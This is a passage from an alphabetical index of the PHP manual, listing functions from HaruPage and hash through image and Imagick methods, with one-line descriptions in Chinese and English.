    • HaruPage::setHorizontalScaling - Set horizontal scaling for the page
    • HaruPage::setLineCap - Set the shape to be used at the ends of lines
    • HaruPage::setLineJoin - Set line join style for the page
    • HaruPage::setLineWidth - Set line width for the page
    • HaruPage::setMiterLimit - Set the current value of the miter limit of the page
    • HaruPage::setRGBFill - Set filling color for the page
    • HaruPage::setRGBStroke - Set stroking color for the page
    • HaruPage::setRotate - Set rotation angle of the page
    • HaruPage::setSize - Set size and direction of the page
    • HaruPage::setSlideShow - Set transition style for the page
    • HaruPage::setTextLeading - Set text leading (line spacing) for the page
    • HaruPage::setTextMatrix - Set the current text transformation matrix of the page
    • HaruPage::setTextRenderingMode - Set text rendering mode for the page
    • HaruPage::setTextRise - Set the current value of text rising
    • HaruPage::setWidth - Set width of the page
    • HaruPage::setWordSpace - Set word spacing for the page
    • HaruPage::showText - Print text at the current position of the page
    • HaruPage::showTextNextLine - Move the current position to the start of the next line and print the text
    • HaruPage::stroke - Paint current path
    • HaruPage::textOut - Print the text on the specified position
    • HaruPage::textRect - Print the text inside the specified region
    • hash - 生成哈希值 （消息摘要）
    • hash_algos - 返回已注册的哈希算法列表
    • hash_copy - 拷贝哈希运算上下文
    • hash_equals - 可防止时序攻击的字符串比较
    • hash_file - 使用给定文件的内容生成哈希值
    • hash_final - 结束增量哈希，并且返回摘要结果
    • hash_hkdf - Generate a HKDF key derivation of a supplied key input
    • hash_hmac - 使用 HMAC 方法生成带有密钥的哈希值
    • hash_hmac_algos - Return a list of registered hashing algorithms suitable for hash_hmac
    • hash_hmac_file - 使用 HMAC 方法和给定文件的内容生成带密钥的哈希值
    • hash_init - 初始化增量哈希运算上下文
    • hash_pbkdf2 - 生成所提供密码的 PBKDF2 密钥导出
    • hash_update - 向活跃的哈希运算上下文中填充数据
    • hash_update_file - 从文件向活跃的哈希运算上下文中填充数据
    • hash_update_stream - 从打开的流向活跃的哈希运算上下文中填充数据
    • header - 发送原生 HTTP 头
    • headers_list - 返回已发送的 HTTP 响应头（或准备发送的）
    • headers_sent - 检测 HTTP 头是否已经发送
    • header_register_callback - 调用一个 header 函数
    • header_remove - 删除之前设置的 HTTP 头
    • hebrev - 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew）
    • hebrevc - 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew），并且转换换行符
    • hex2bin - 转换十六进制字符串为二进制字符串
    • hexdec - 十六进制转换为十进制
    • highlight_file - 语法高亮一个文件
    • highlight_string - 字符串的语法高亮
    • hrtime - Get the system's high resolution time
    • HRTime\PerformanceCounter::getFrequency - Timer frequency in ticks per second
    • HRTime\PerformanceCounter::getTicks - Current ticks from the system
    • HRTime\PerformanceCounter::getTicksSince - Ticks elapsed since the given value
    • HRTime\StopWatch::getElapsedTicks - Get elapsed ticks for all intervals
    • HRTime\StopWatch::getElapsedTime - Get elapsed time for all intervals
    • HRTime\StopWatch::getLastElapsedTicks - Get elapsed ticks for the last interval
    • HRTime\StopWatch::getLastElapsedTime - Get elapsed time for the last interval
    • HRTime\StopWatch::isRunning - Whether the measurement is running
    • HRTime\StopWatch::start - Start time measurement
    • HRTime\StopWatch::stop - Stop time measurement
    • htmlentities - 将字符转换为 HTML 转义字符
    • htmlspecialchars - 将特殊字符转换为 HTML 实体
    • htmlspecialchars_decode - 将特殊的 HTML 实体转换回普通字符
    • html_entity_decode - Convert HTML entities to their corresponding characters
    • http:// - 访问 HTTP(s) 网址
    • HTTP context 选项 - HTTP context 的选项列表
    • http_build_query - 生成 URL-encode 之后的请求字符串
    • http_response_code - 获取/设置响应的 HTTP 状态码
    • hwapi_attribute_new - Creates instance of class hw_api_attribute
    • hwapi_content_new - Create new instance of class hw_api_content
    • hwapi_hgcsp - Returns object of class hw_api
    • hwapi_object_new - Creates a new instance of class hwapi_object_new
    • hw_api::checkin - Checks in an object
    • hw_api::checkout - Checks out an object
    • hw_api::children - Returns children of an object
    • hw_api::content - Returns content of an object
    • hw_api::copy - Copies physically
    • hw_api::dbstat - Returns statistics about database server
    • hw_api::dcstat - Returns statistics about document cache server
    • hw_api::dstanchors - Returns a list of all destination anchors
    • hw_api::dstofsrcanchor - Returns destination of a source anchor
    • hw_api::find - Search for objects
    • hw_api::ftstat - Returns statistics about fulltext server
    • hw_api::hwstat - Returns statistics about Hyperwave server
    • hw_api::identify - Log into Hyperwave Server
    • hw_api::info - Returns information about server configuration
    • hw_api::insert - Inserts a new object
    • hw_api::insertanchor - Inserts a new object of type anchor
    • hw_api::insertcollection - Inserts a new object of type collection
    • hw_api::insertdocument - Inserts a new object of type document
    • hw_api::link - Creates a link to an object
    • hw_api::lock - Locks an object
    • hw_api::move - Moves object between collections
    • hw_api::object - Retrieve attribute information
    • hw_api::objectbyanchor - Returns the object an anchor belongs to
    • hw_api::parents - Returns parents of an object
    • hw_api::remove - Delete an object
    • hw_api::replace - Replaces an object
    • hw_api::setcommittedversion - Commits version other than last version
    • hw_api::srcanchors - Returns a list of all source anchors
    • hw_api::srcsofdst - Returns source of a destination object
    • hw_api::unlock - Unlocks a locked object
    • hw_api::user - Returns the own user object
    • hw_api::userlist - Returns a list of all logged in users
    • hw_api_attribute::key - Returns key of the attribute
    • hw_api_attribute::langdepvalue - Returns value for a given language
    • hw_api_attribute::value - Returns value of the attribute
    • hw_api_attribute::values - Returns all values of the attribute
    • hw_api_content::mimetype - Returns mimetype
    • hw_api_content::read - Read content
    • hw_api_error::count - Returns number of reasons
    • hw_api_error::reason - Returns reason of error
    • hw_api_object::assign - Clones object
    • hw_api_object::attreditable - Checks whether an attribute is editable
    • hw_api_object::count - Returns number of attributes
    • hw_api_object::insert - Inserts new attribute
    • hw_api_object::remove - Removes attribute
    • hw_api_object::title - Returns the title attribute
    • hw_api_object::value - Returns value of attribute
    • hw_api_reason::description - Returns description of reason
    • hw_api_reason::type - Returns type of reason
    • hypot - 计算一直角三角形的斜边长度
  • i
    • ibase_add_user - Add a user to a security database
    • ibase_affected_rows - Return the number of rows that were affected by the previous query
    • ibase_backup - Initiates a backup task in the service manager and returns immediately
    • ibase_blob_add - Add data into a newly created blob
    • ibase_blob_cancel - Cancel creating blob
    • ibase_blob_close - Close blob
    • ibase_blob_create - Create a new blob for adding data
    • ibase_blob_echo - Output blob contents to browser
    • ibase_blob_get - Get len bytes data from open blob
    • ibase_blob_import - Create blob, copy file in it, and close it
    • ibase_blob_info - Return blob length and other useful info
    • ibase_blob_open - Open blob for retrieving data parts
    • ibase_close - Close a connection to an InterBase database
    • ibase_commit - Commit a transaction
    • ibase_commit_ret - Commit a transaction without closing it
    • ibase_connect - Open a connection to a database
    • ibase_db_info - Request statistics about a database
    • ibase_delete_user - Delete a user from a security database
    • ibase_drop_db - Drops a database
    • ibase_errcode - Return an error code
    • ibase_errmsg - Return error messages
    • ibase_execute - Execute a previously prepared query
    • ibase_fetch_assoc - Fetch a result row from a query as an associative array
    • ibase_fetch_object - Get an object from a InterBase database
    • ibase_fetch_row - Fetch a row from an InterBase database
    • ibase_field_info - Get information about a field
    • ibase_free_event_handler - Cancels a registered event handler
    • ibase_free_query - Free memory allocated by a prepared query
    • ibase_free_result - Free a result set
    • ibase_gen_id - Increments the named generator and returns its new value
    • ibase_maintain_db - Execute a maintenance command on the database server
    • ibase_modify_user - Modify a user to a security database
    • ibase_name_result - Assigns a name to a result set
    • ibase_num_fields - Get the number of fields in a result set
    • ibase_num_params - Return the number of parameters in a prepared query
    • ibase_param_info - Return information about a parameter in a prepared query
    • ibase_pconnect - Open a persistent connection to an InterBase database
    • ibase_prepare - Prepare a query for later binding of parameter placeholders and execution
    • ibase_query - Execute a query on an InterBase database
    • ibase_restore - Initiates a restore task in the service manager and returns immediately
    • ibase_rollback - Roll back a transaction
    • ibase_rollback_ret - Roll back a transaction without closing it
    • ibase_server_info - Request information about a database server
    • ibase_service_attach - Connect to the service manager
    • ibase_service_detach - Disconnect from the service manager
    • ibase_set_event_handler - Register a callback function to be called when events are posted
    • ibase_trans - Begin a transaction
    • ibase_wait_event - Wait for an event to be posted by the database
    • iconv - 字符串按要求的字符编码来转换
    • iconv_get_encoding - 获取 iconv 扩展的内部配置变量
    • iconv_mime_decode - 解码一个MIME头字段
    • iconv_mime_decode_headers - 一次性解码多个 MIME 头字段
    • iconv_mime_encode - Composes a MIME header field
    • iconv_set_encoding - 为字符编码转换设定当前设置
    • iconv_strlen - 返回字符串的字符数统计
    • iconv_strpos - Finds position of first occurrence of a needle within a haystack
    • iconv_strrpos - Finds the last occurrence of a needle within a haystack
    • iconv_substr - 截取字符串的部分
    • id3_get_frame_long_name - Get the long name of an ID3v2 frame
    • id3_get_frame_short_name - Get the short name of an ID3v2 frame
    • id3_get_genre_id - Get the id for a genre
    • id3_get_genre_list - Get all possible genre values
    • id3_get_genre_name - Get the name for a genre id
    • id3_get_tag - Get all information stored in an ID3 tag
    • id3_get_version - Get version of an ID3 tag
    • id3_remove_tag - Remove an existing ID3 tag
    • id3_set_tag - Update information stored in an ID3 tag
    • idate - 将本地时间日期格式化为整数
    • idn_to_ascii - Convert domain name to IDNA ASCII form
    • idn_to_utf8 - Convert domain name from IDNA ASCII to Unicode
    • ifxus_close_slob - Deletes the slob object
    • ifxus_create_slob - Creates an slob object and opens it
    • ifxus_free_slob - Deletes the slob object
    • ifxus_open_slob - Opens an slob object
    • ifxus_read_slob - Reads nbytes of the slob object
    • ifxus_seek_slob - Sets the current file or seek position
    • ifxus_tell_slob - Returns the current file or seek position
    • ifxus_write_slob - Writes a string into the slob object
    • ifx_affected_rows - Get number of rows affected by a query
    • ifx_blobinfile_mode - Set the default blob mode for all select queries
    • ifx_byteasvarchar - Set the default byte mode
    • ifx_close - Close Informix connection
    • ifx_connect - Open Informix server connection
    • ifx_copy_blob - Duplicates the given blob object
    • ifx_create_blob - Creates an blob object
    • ifx_create_char - Creates an char object
    • ifx_do - Execute a previously prepared SQL-statement
    • ifx_error - Returns error code of last Informix call
    • ifx_errormsg - Returns error message of last Informix call
    • ifx_fetch_row - Get row as an associative array
    • ifx_fieldproperties - List of SQL fieldproperties
    • ifx_fieldtypes - List of Informix SQL fields
    • ifx_free_blob - Deletes the blob object
    • ifx_free_char - Deletes the char object
    • ifx_free_result - Releases resources for the query
    • ifx_getsqlca - Get the contents of sqlca.sqlerrd[0..5] after a query
    • ifx_get_blob - Return the content of a blob object
    • ifx_get_char - Return the content of the char object
    • ifx_htmltbl_result - Formats all rows of a query into a HTML table
    • ifx_nullformat - Sets the default return value on a fetch row
    • ifx_num_fields - Returns the number of columns in the query
    • ifx_num_rows - Count the rows already fetched from a query
    • ifx_pconnect - Open persistent Informix connection
    • ifx_prepare - Prepare an SQL-statement for execution
    • ifx_query - Send Informix query
    • ifx_textasvarchar - Set the default text mode
    • ifx_update_blob - Updates the content of the blob object
    • ifx_update_char - Updates the content of the char object
    • ignore_user_abort - 设置客户端断开连接时是否中断脚本的执行
    • iis_add_server - Creates a new virtual web server
    • iis_get_dir_security - Gets Directory Security
    • iis_get_script_map - Gets script mapping on a virtual directory for a specific extension
    • iis_get_server_by_comment - Return the instance number associated with the Comment
    • iis_get_server_by_path - Return the instance number associated with the Path
    • iis_get_server_rights - Gets server rights
    • iis_get_service_state - Returns the state for the service defined by ServiceId
    • iis_remove_server - Removes the virtual web server indicated by ServerInstance
    • iis_set_app_settings - Creates application scope for a virtual directory
    • iis_set_dir_security - Sets Directory Security
    • iis_set_script_map - Sets script mapping on a virtual directory
    • iis_set_server_rights - Sets server rights
    • iis_start_server - Starts the virtual web server
    • iis_start_service - Starts the service defined by ServiceId
    • iis_stop_server - Stops the virtual web server
    • iis_stop_service - Stops the service defined by ServiceId
    • image2wbmp - 以 WBMP 格式将图像输出到浏览器或文件
    • imageaffine - 返回经过仿射变换后的图像，剪切区域可选
    • imageaffinematrixconcat - Concatenate two affine transformation matrices
    • imageaffinematrixget - Get an affine transformation matrix
    • imagealphablending - 设定图像的混色模式
    • imageantialias - 是否使用抗锯齿（antialias）功能
    • imagearc - 画椭圆弧
    • imagebmp - Output a BMP image to browser or file
    • imagechar - 水平地画一个字符
    • imagecharup - 垂直地画一个字符
    • imagecolorallocate - 为一幅图像分配颜色
    • imagecolorallocatealpha - 为一幅图像分配颜色 + alpha
    • imagecolorat - 取得某像素的颜色索引值
    • imagecolorclosest - 取得与指定的颜色最接近的颜色的索引值
    • imagecolorclosestalpha - 取得与指定的颜色加透明度最接近的颜色
    • imagecolorclosesthwb - 取得与给定颜色最接近的色度的黑白色的索引
    • imagecolordeallocate - 取消图像颜色的分配
    • imagecolorexact - 取得指定颜色的索引值
    • imagecolorexactalpha - 取得指定的颜色加透明度的索引值
    • imagecolormatch - 使一个图像中调色板版本的颜色与真彩色版本更能匹配
    • imagecolorresolve - 取得指定颜色的索引值或有可能得到的最接近的替代值
    • imagecolorresolvealpha - 取得指定颜色 + alpha 的索引值或有可能得到的最接近的替代值
    • imagecolorset - 给指定调色板索引设定颜色
    • imagecolorsforindex - 取得某索引的颜色
    • imagecolorstotal - 取得一幅图像的调色板中颜色的数目
    • imagecolortransparent - 将某个颜色定义为透明色
    • imageconvolution - 用系数 div 和 offset 申请一个 3x3 的卷积矩阵
    • imagecopy - 拷贝图像的一部分
    • imagecopymerge - 拷贝并合并图像的一部分
    • imagecopymergegray - 用灰度拷贝并合并图像的一部分
    • imagecopyresampled - 重采样拷贝部分图像并调整大小
    • imagecopyresized - 拷贝部分图像并调整大小
    • imagecreate - 新建一个基于调色板的图像
    • imagecreatefrombmp - 由文件或 URL 创建一个新图象。
    • imagecreatefromgd - 从 GD 文件或 URL 新建一图像
    • imagecreatefromgd2 - 从 GD2 文件或 URL 新建一图像
    • imagecreatefromgd2part - 从给定的 GD2 文件或 URL 中的部分新建一图像
    • imagecreatefromgif - 由文件或 URL 创建一个新图象。
    • imagecreatefromjpeg - 由文件或 URL 创建一个新图象。
    • imagecreatefrompng - 由文件或 URL 创建一个新图象。
    • imagecreatefromstring - 从字符串中的图像流新建一图像
    • imagecreatefromwbmp - 由文件或 URL 创建一个新图象。
    • imagecreatefromwebp - 由文件或 URL 创建一个新图象。
    • imagecreatefromxbm - 由文件或 URL 创建一个新图象。
    • imagecreatefromxpm - 由文件或 URL 创建一个新图象。
    • imagecreatetruecolor - 新建一个真彩色图像
    • imagecrop - Crop an image to the given rectangle
    • imagecropauto - Crop an image automatically using one of the available modes
    • imagedashedline - 画一虚线
    • imagedestroy - 销毁一图像
    • imageellipse - 画一个椭圆
    • imagefill - 区域填充
    • imagefilledarc - 画一椭圆弧且填充
    • imagefilledellipse - 画一椭圆并填充
    • imagefilledpolygon - 画一多边形并填充
    • imagefilledrectangle - 画一矩形并填充
    • imagefilltoborder - 区域填充到指定颜色的边界为止
    • imagefilter - 对图像使用过滤器
    • imageflip - Flips an image using a given mode
    • imagefontheight - 取得字体高度
    • imagefontwidth - 取得字体宽度
    • imageftbbox - 给出一个使用 FreeType 2 字体的文本框
    • imagefttext - 使用 FreeType 2 字体将文本写入图像
    • imagegammacorrect - 对 GD 图像应用 gamma 修正
    • imagegd - 将 GD 图像输出到浏览器或文件
    • imagegd2 - 将 GD2 图像输出到浏览器或文件
    • imagegetclip - Get the clipping rectangle
    • imagegif - 输出图象到浏览器或文件。
    • imagegrabscreen - Captures the whole screen
    • imagegrabwindow - Captures a window
    • imageinterlace - 激活或禁止隔行扫描
    • imageistruecolor - 检查图像是否为真彩色图像
    • imagejpeg - 输出图象到浏览器或文件。
    • imagelayereffect - 设定 alpha 混色标志以使用绑定的 libgd 分层效果
    • imageline - 画一条线段
    • imageloadfont - 载入一新字体
    • imageopenpolygon - Draws an open polygon
    • imagepalettecopy - 将调色板从一幅图像拷贝到另一幅
    • imagepalettetotruecolor - Converts a palette based image to true color
    • imagepng - 以 PNG 格式将图像输出到浏览器或文件
    • imagepolygon - 画一个多边形
    • imagepsbbox - 给出一个使用 PostScript Type1 字体的文本方框
    • imagepsencodefont - 改变字体中的字符编码矢量
    • imagepsextendfont - 扩充或精简字体
    • imagepsfreefont - 释放一个 PostScript Type 1 字体所占用的内存
    • imagepsloadfont - 从文件中加载一个 PostScript Type 1 字体
    • imagepsslantfont - 倾斜某字体
    • imagepstext - 用 PostScript Type1 字体把文本字符串画在图像上
    • imagerectangle - 画一个矩形
    • imageresolution - Get or set the resolution of the image
    • imagerotate - 用给定角度旋转图像
    • imagesavealpha - 设置标记以在保存 PNG 图像时保存完整的 alpha 通道信息（与单一透明色相反）
    • imagescale - Scale an image using the given new width and height
    • imagesetbrush - 设定画线用的画笔图像
    • imagesetclip - Set the clipping rectangle
    • imagesetinterpolation - Set the interpolation method
    • imagesetpixel - 画一个单一像素
    • imagesetstyle - 设定画线的风格
    • imagesetthickness - 设定画线的宽度
    • imagesettile - 设定用于填充的贴图
    • imagestring - 水平地画一行字符串
    • imagestringup - 垂直地画一行字符串
    • imagesx - 取得图像宽度
    • imagesy - 取得图像高度
    • imagetruecolortopalette - 将真彩色图像转换为调色板图像
    • imagettfbbox - 取得使用 TrueType 字体的文本的范围
    • imagettftext - 用 TrueType 字体向图像写入文本
    • imagetypes - 返回当前 PHP 版本所支持的图像类型
    • imagewbmp - 以 WBMP 格式将图像输出到浏览器或文件
    • imagewebp - 将 WebP 格式的图像输出到浏览器或文件
    • imagexbm - 将 XBM 图像输出到浏览器或文件
    • image_type_to_extension - 取得图像类型的文件后缀
    • image_type_to_mime_type - 取得 getimagesize，exif_read_data，exif_thumbnail，exif_imagetype 所返回的图像类型的 MIME 类型
    • Imagick::adaptiveBlurImage - Adds adaptive blur filter to image
    • Imagick::adaptiveResizeImage - Adaptively resize image with data dependent triangulation
    • Imagick::adaptiveSharpenImage - Adaptively sharpen the image
    • Imagick::adaptiveThresholdImage - Selects a threshold for each pixel based on a range of intensity
    • Imagick::addImage - Adds new image to Imagick object image list
    • Imagick::addNoiseImage - Adds random noise to the image
    • Imagick::affineTransformImage - Transforms an image
    • Imagick::animateImages - Animates an image or images
    • Imagick::annotateImage - Annotates an image with text
    • Imagick::appendImages - Append a set of images
    • Imagick::autoLevelImage - Description
    • Imagick::averageImages - Average a set of images
    • Imagick::blackThresholdImage - Forces all pixels below the threshold into black
    • Imagick::blueShiftImage - Description
    • Imagick::blurImage - Adds blur filter to image
    • Imagick::borderImage - Surrounds the image with a border
    • Imagick::brightnessContrastImage - Description
    • Imagick::charcoalImage - Simulates a charcoal drawing
    • Imagick::chopImage - Removes a region of an image and trims
    • Imagick::clampImage - Description
    • Imagick::clear - Clears all resources associated to Imagick object
    • Imagick::clipImage - Clips along the first path from the 8BIM profile
    • Imagick::clipImagePath - Description
    • Imagick::clipPathImage - Clips along the named paths from the 8BIM profile
    • Imagick::clone - Makes an exact copy of the Imagick object
    • Imagick::clutImage - Replaces colors in the image
    • Imagick::coalesceImages - Composites a set of images
    • Imagick::colorFloodfillImage - Changes the color value of any pixel that matches target
    • Imagick::colorizeImage - Blends the fill color with the image
    • Imagick::colorMatrixImage - Description
    • Imagick::combineImages - Combines one or more images into a single image
    • Imagick::commentImage - Adds a comment to your image
    • Imagick::compareImageChannels - Returns the difference in one or more images
    • Imagick::compareImageLayers - Returns the maximum bounding region between images
    • Imagick::compareImages - Compares an image to a reconstructed image
    • Imagick::compositeImage - 把一张图合并到一张图
    • Imagick::contrastImage - Change the contrast of the image
    • Imagick::contrastStretchImage - Enhances the contrast of a color image
    • Imagick::convolveImage - Applies a custom convolution kernel to the image
    • Imagick::count - Get the number of images
    • Imagick::cropImage - 截图图片的一块区域
    • Imagick::cropThumbnailImage - 创建缩略图
    • Imagick::current - Returns a reference to the current Imagick object
    • Imagick::cycleColormapImage - Displaces an image's colormap
    • Imagick::decipherImage - Deciphers an image
    • Imagick::deconstructImages - Returns certain pixel differences between images
    • Imagick::deleteImageArtifact - Delete image artifact
    • Imagick::deleteImageProperty - Description
    • Imagick::deskewImage - Removes skew from the image
    • Imagick::despeckleImage - Reduces the speckle noise in an image
    • Imagick::destroy - Destroys the Imagick object
    • Imagick::displayImage - Displays an image
    • Imagick::displayImages - Displays an image or image sequence
    • Imagick::distortImage - Distorts an image using various distortion methods
    • Imagick::drawImage - 把 ImagickDraw 对象渲染到当前图片上
    • Imagick::edgeImage - Enhance edges within the image
    • Imagick::embossImage - Returns a grayscale image with a three-dimensional effect
    • Imagick::encipherImage - Enciphers an image
    • Imagick::enhanceImage - Improves the quality of a noisy image
    • Imagick::equalizeImage - Equalizes the image histogram
    • Imagick::evaluateImage - Applies an expression to an image
    • Imagick::exportImagePixels - Exports raw image pixels
    • Imagick::extentImage - Set image size
    • Imagick::filter - Description
    • Imagick::flattenImages - Merges a sequence of images
    • Imagick::flipImage - Creates a vertical mirror image
    • Imagick::floodFillPaintImage - Changes the color value of any pixel that matches target
    • Imagick::flopImage - Creates a horizontal mirror image
    • Imagick::forwardFourierTransformImage - Description
    • Imagick::frameImage - Adds a simulated three-dimensional border
    • Imagick::functionImage - Applies a function on the image
    • Imagick::fxImage - Evaluate expression for each pixel in the image
    • Imagick::gammaImage - Gamma-corrects an image
    • Imagick::gaussianBlurImage - Blurs an image
    • Imagick::getColorspace - Gets the colorspace
    • Imagick::getCompression - Gets the object compression type
    • Imagick::getCompressionQuality - Gets the object compression quality
    • Imagick::getCopyright - Returns the ImageMagick API copyright as a string
    • Imagick::getFilename - The filename associated with an image sequence
    • Imagick::getFont - Gets font
    • Imagick::getFormat - Returns the format of the Imagick object
    • Imagick::getGravity - Gets the gravity
    • Imagick::getHomeURL - Returns the ImageMagick home URL
    • Imagick::getImage - Returns a new Imagick object
    • Imagick::getImageAlphaChannel - 获取图像的 alpha 通道
    • Imagick::getImageArtifact - Get image artifact
    • Imagick::getImageAttribute - Description
    • Imagick::getImageBackgroundColor - Returns the image background color
    • Imagick::getImageBlob - Returns the image sequence as a blob
    • Imagick::getImageBluePrimary - Returns the chromaticy blue primary point
    • Imagick::getImageBorderColor - Returns the image border color
    • Imagick::getImageChannelDepth - Gets the depth for a particular image channel
    • Imagick::getImageChannelDistortion - Compares image channels of an image to a reconstructed image
    • Imagick::getImageChannelDistortions - Gets channel distortions
    • Imagick::getImageChannelExtrema - Gets the extrema for one or more image channels
    • Imagick::getImageChannelKurtosis - The getImageChannelKurtosis purpose
    • Imagick::getImageChannelMean - Gets the mean and standard deviation
    • Imagick::getImageChannelRange - Gets channel range
    • Imagick::getImageChannelStatistics - Returns statistics for each channel in the image
    • Imagick::getImageClipMask - Gets image clip mask
    • Imagick::getImageColormapColor - Returns the color of the specified colormap index
    • Imagick::getImageColors - Gets the number of unique colors in the image
    • Imagick::getImageColorspace - Gets the image colorspace
    • Imagick::getImageCompose - Returns the composite operator associated with the image
    • Imagick::getImageCompression - Gets the current image's compression type
    • Imagick::getImageCompressionQuality - Gets the current image's compression quality
    • Imagick::getImageDelay - Gets the image delay
    • Imagick::getImageDepth - Gets the image depth
    • Imagick::getImageDispose - Gets the image disposal method
    • Imagick::getImageDistortion - Compares an image to a reconstructed image
    • Imagick::getImageExtrema - Gets the extrema for the image
    • Imagick::getImageFilename - Returns the filename of a particular image in a sequence
    • Imagick::getImageFormat - Returns the format of a particular image in a sequence
    • Imagick::getImageGamma - Gets the image gamma
    • Imagick::getImageGeometry - Gets the width and height as an associative array
    • Imagick::getImageGravity - Gets the image gravity
    • Imagick::getImageGreenPrimary - Returns the chromaticy green primary point
    • Imagick::getImageHeight - Returns the image height
    • Imagick::getImageHistogram - Gets the image histogram
    • Imagick::getImageIndex - Gets the index of the current active image
    • Imagick::getImageInterlaceScheme - Gets the image interlace scheme
    • Imagick::getImageInterpolateMethod - Returns the interpolation method
    • Imagick::getImageIterations - Gets the image iterations
    • Imagick::getImageLength - Returns the image length in bytes
    • Imagick::getImageMagickLicense - Returns a string containing the ImageMagick license
    • Imagick::getImageMatte - Return if the image has a matte channel
    • Imagick::getImageMatteColor - Returns the image matte color
    • Imagick::getImageMimeType - Description
    • Imagick::getImageOrientation - Gets the image orientation
    • Imagick::getImagePage - Returns the page geometry
    • Imagick::getImagePixelColor - Returns the color of the specified pixel
    • Imagick::getImageProfile - Returns the named image profile
    • Imagick::getImageProfiles - Returns the image profiles
    • Imagick::getImageProperties - Returns the image properties
    • Imagick::getImageProperty - Returns the named image property
    • Imagick::getImageRedPrimary - Returns the chromaticity red primary point
    • Imagick::getImageRegion - Extracts a region of the image
    • Imagick::getImageRenderingIntent - Gets the image rendering intent
    • Imagick::getImageResolution - 获取图像的x,y轴分辨率
    • Imagick::getImagesBlob - Returns all image sequences as a blob
    • Imagick::getImageScene - Gets the image scene
    • Imagick::getImageSignature - Generates an SHA-256 message digest
    • Imagick::getImageSize - Returns the image length in bytes
    • Imagick::getImageTicksPerSecond - Gets the image ticks-per-second
    • Imagick::getImageTotalInkDensity - Gets the image total ink density
    • Imagick::getImageType - Gets the potential image type
    • Imagick::getImageUnits - 获取图像的分辨率单位
    • Imagick::getImageVirtualPixelMethod - Returns the virtual pixel method
    • Imagick::getImageWhitePoint - Returns the chromaticity white point
    • Imagick::getImageWidth - Returns the image width
    • Imagick::getInterlaceScheme - Gets the object interlace scheme
    • Imagick::getIteratorIndex - Gets the index of the current active image
    • Imagick::getNumberImages - Returns the number of images in the object
    • Imagick::getOption - Returns a value associated with the specified key
    • Imagick::getPackageName - Returns the ImageMagick package name
    • Imagick::getPage - Returns the page geometry
    • Imagick::getPixelIterator - Returns a MagickPixelIterator
    • Imagick::getPixelRegionIterator - Get an ImagickPixelIterator for an image section
    • Imagick::getPointSize - Gets point size
    • Imagick::getQuantum - Description
    • Imagick::getQuantumDepth - Gets the quantum depth
    • Imagick::getQuantumRange - Returns the Imagick quantum range
    • Imagick::getRegistry - Description
    • Imagick::getReleaseDate - Returns the ImageMagick release date
    • Imagick::getResource - Returns the specified resource's memory usage
    • Imagick::getResourceLimit - Returns the specified resource limit
    • Imagick::getSamplingFactors - Gets the horizontal and vertical sampling factor
    • Imagick::getSize - Returns the size associated with the Imagick object
    • Imagick::getSizeOffset - Returns the size offset
    • Imagick::getVersion - Returns the ImageMagick API version
    • Imagick::haldClutImage - Replaces colors in the image
    • Imagick::hasNextImage - Checks if the object has more images
    • Imagick::hasPreviousImage - Checks if the object has a previous image
    • Imagick::identifyFormat - Description
    • Imagick::identifyImage - Identifies an image and fetches attributes
    • Imagick::implodeImage - Creates a new image as a copy
    • Imagick::importImagePixels - Imports image pixels
    • Imagick::inverseFourierTransformImage - Description
    • Imagick::labelImage - Adds a label to an image
    • Imagick::levelImage - Adjusts the levels of an image
    • Imagick::linearStretchImage - Stretches with saturation the image intensity
    • Imagick::liquidRescaleImage - Animates an image or images
    • Imagick::listRegistry - Description
    • Imagick::magnifyImage - Scales an image proportionally 2x
    • Imagick::mapImage - Replaces the colors of an image with the closest color from a reference image
    • Imagick::matteFloodfillImage - Changes the transparency value of a color
    • Imagick::medianFilterImage - Applies a digital filter
    • Imagick::mergeImageLayers - Merges image layers
    • Imagick::minifyImage - Scales an image proportionally to half its size
    • Imagick::modulateImage - Control the brightness, saturation, and hue
    • Imagick::montageImage - Creates a composite image
    • Imagick::morphImages - Method morphs a set of images
    • Imagick::morphology - Description
    • Imagick::mosaicImages - Forms a mosaic from images
    • Imagick::motionBlurImage - Simulates motion blur
    • Imagick::negateImage - Negates the colors in the reference image
    • Imagick::newImage - 创建一张图片
    • Imagick::newPseudoImage - Creates a new image
    • Imagick::nextImage - Moves to the next image
    • Imagick::normalizeImage - Enhances the contrast of a color image
    • Imagick::oilPaintImage - Simulates an oil painting
    • Imagick::opaquePaintImage - Changes the color value of any pixel that matches target
    • Imagick::optimizeImageLayers - Removes repeated portions of images to optimize
    • Imagick::orderedPosterizeImage - Performs an ordered dither
    • Imagick::paintFloodfillImage - Changes the color value of any pixel that matches target
    • Imagick::paintOpaqueImage - Change any pixel that matches color
    • Imagick::paintTransparentImage - Changes any pixel that matches color with the color defined by fill
    • Imagick::pingImage - Fetch basic attributes about the image
    • Imagick::pingImageBlob - Quickly fetch attributes
    • Imagick::pingImageFile - Get basic image attributes in a lightweight manner
    • Imagick::polaroidImage - Simulates a Polaroid picture
    • Imagick::posterizeImage - Reduces the image to a limited number of color level
    • Imagick::previewImages - Quickly pin-point appropriate parameters for image processing
    • Imagick::previousImage - Move to the previous image in the object
    • Imagick::profileImage - Adds or removes a profile from an image
    • Imagick::quantizeImage - Analyzes the colors within a reference image
    • Imagick::quantizeImages - Analyzes the colors within a sequence of images
    • Imagick::queryFontMetrics - Returns an array representing the font metrics
    • Imagick::queryFonts - Returns the configured fonts
    • Imagick::queryFormats - Returns formats supported by Imagick
    • Imagick::radialBlurImage - Radial blurs an image
    • Imagick::raiseImage - Creates a simulated 3d button-like effect
    • Imagick::randomThresholdImage - Creates a high-contrast, two-color image
    • Imagick::readImage - Reads image from filename
    • Imagick::readImageBlob - 从二进制字符串里读取图片
    • Imagick::readImageFile - Reads image from open filehandle
    • Imagick::readimages - Description
    • Imagick::recolorImage - Recolors image
    • Imagick::reduceNoiseImage - Smooths the contours of an image
    • Imagick::remapImage - Remaps image colors
    • Imagick::removeImage - Removes an image from the image list
    • Imagick::removeImageProfile - Removes the named image profile and returns it
    • Imagick::render - Renders all preceding drawing commands
    • Imagick::resampleImage - Resample image to desired resolution
    • Imagick::resetImagePage - Reset image page
    • Imagick::resizeImage - Scales an image
    • Imagick::rollImage - Offsets an image
    • Imagick::rotateImage - Rotates an image
    • Imagick::rotationalBlurImage - Description
    • Imagick::roundCorners - Rounds image corners
    • Imagick::sampleImage - Scales an image with pixel sampling
    • Imagick::scaleImage - Scales the size of an image
    • Imagick::segmentImage - Segments an image
    • Imagick::selectiveBlurImage - Description
